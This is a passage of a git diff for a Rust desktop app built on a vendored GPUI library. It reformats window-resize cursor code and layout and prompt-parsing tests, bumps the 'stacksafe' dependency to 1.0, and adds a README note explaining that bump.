.on_action(cx.listener(Self::new_tab)) .on_action(cx.listener(Self::new_window)) @@ -2851,21 +2857,12 @@ impl Render for Workspace { // Keep the resize cursor while a divider drag strays off the divider. .when_some(drag_cursor, |d, style| { d.child( - canvas(|_, _, _| {}, move |_, _, window, _| { - window.set_window_cursor_style(style) - }) - .absolute() - .size_0(), + canvas(|_, _, _| {}, move |_, _, window, _| window.set_window_cursor_style(style)) + .absolute() + .size_0(), ) }) - .child( - div() - .flex_1() - .min_h_0() - .px(px(EDGE)) - .pb(px(EDGE)) - .children(content), - ) + .child(div().flex_1().min_h_0().px(px(EDGE)).pb(px(EDGE)).children(content)) .when_some(self.palette.clone(), |d, palette| { d.child( div() @@ -2903,10 +2900,7 @@ impl Render for Workspace { canvas( |_bounds, window, _cx| { window.insert_hitbox( - gpui::Bounds::new( - point(px(0.0), px(0.0)), - window.window_bounds().get_bounds().size, - ), + gpui::Bounds::new(point(px(0.0), px(0.0)), window.window_bounds().get_bounds().size), HitboxBehavior::Normal, ) }, @@ -2916,12 +2910,8 @@ impl Render for Workspace { if let Some(edge) = resize_edge(mouse, inset, size) { window.set_cursor_style( match edge { - ResizeEdge::Top | ResizeEdge::Bottom => { - CursorStyle::ResizeUpDown - } - ResizeEdge::Left | ResizeEdge::Right => { - CursorStyle::ResizeLeftRight - } + ResizeEdge::Top | ResizeEdge::Bottom => CursorStyle::ResizeUpDown, + ResizeEdge::Left | ResizeEdge::Right => CursorStyle::ResizeLeftRight, ResizeEdge::TopLeft | ResizeEdge::BottomRight => { CursorStyle::ResizeUpLeftDownRight } @@ -3104,7 +3094,11 @@ mod tests { let grid = |w: f32, h: f32| GridSize { cols: w as u16, rows: h as u16, cell_width: 1, cell_height: 1 }; let pane = || NodeState::Pane { cwd: Some("/x".into()) }; let tabs = vec![TabState { - root: NodeState::Split { axis: Axis::Row, children: vec![pane(), pane(), pane()], ratios: vec![1.0, 1.0, 1.0] }, + root: NodeState::Split { + axis: Axis::Row, + children: vec![pane(), pane(), pane()], + ratios: vec![1.0, 1.0, 1.0], + }, active: 0, zoomed: false, title: None, @@ -3130,14 +3124,22 @@ mod tests { axis: Axis::Row, children: vec![ pane("/a"), - NodeState::Split { axis: Axis::Column, children: vec![pane("/b"), pane("/c")], ratios: vec![1.0, 3.0] }, + NodeState::Split { + axis: Axis::Column, + children: vec![pane("/b"), pane("/c")], + ratios: vec![1.0, 3.0], + }, ], ratios: vec![1.0, 1.0], }, 0, false, ), - tab(NodeState::Split { axis: Axis::Row, children: vec![pane("/d"), pane("/e")], ratios: vec![1.0, 1.0] }, 1, true), + tab( + NodeState::Split { axis: Axis::Row, children: vec![pane("/d"), pane("/e")], ratios: vec![1.0, 1.0] }, + 1, + true, + ), ]; let got: Vec<(String, u16, u16)> = layout_panes(&tabs, (408.0, 208.0), 8.0, &grid) .into_iter() @@ -3197,7 +3199,8 @@ mod tests { fn prompt_params_are_strings() { let ok = parse_prompt(&json!({})).unwrap(); assert_eq!(ok, ("Type here…".to_string(), String::new(), None)); - let ok = parse_prompt(&json!({"placeholder": "Command", "initial": "npm ", "message": " Runs it. "})).unwrap(); + let ok = + parse_prompt(&json!({"placeholder": "Command", "initial": "npm ", "message": " Runs it. "})).unwrap(); assert_eq!(ok, ("Command".to_string(), "npm ".to_string(), Some("Runs it.".to_string()))); // A blank message is none; null counts as left out. assert_eq!(parse_prompt(&json!({"message": " ", "initial": null})).unwrap().2, None); diff --git a/vendor/gpui/Cargo.toml b/vendor/gpui/Cargo.toml index 60ea15a..f744fab 100644 --- a/vendor/gpui/Cargo.toml +++ b/vendor/gpui/Cargo.toml @@ -251,7 +251,7 @@ features = ["union"] version = "2.0" [dependencies.stacksafe] -version = "0.1" +version = "1.0" [dependencies.strum] version = "0.27.2" diff --git a/vendor/gpui/README-lumen.md b/vendor/gpui/README-lumen.md index 4839e45..3737430 100644 --- a/vendor/gpui/README-lumen.md +++ b/vendor/gpui/README-lumen.md @@ -70,6 +70,12 @@ workspace, out of the taskbar) and to hide and show the window. `src/taffy.rs`: two float literals given an explicit `f32` type. Newer Rust warns that the old form will become an error. +## A newer stacksafe + +`Cargo.toml`: `stacksafe` 1.0 instead of 0.1. The old one's macro crate +depended on `proc-macro-error2` 2.0.1, which a future Rust will refuse to +compile. GPUI uses only `StackSafe` and `#[stacksafe]`, which are unchanged. + ## Upgrading When moving to a newer gpui, check whether it draws on demand on X11. If it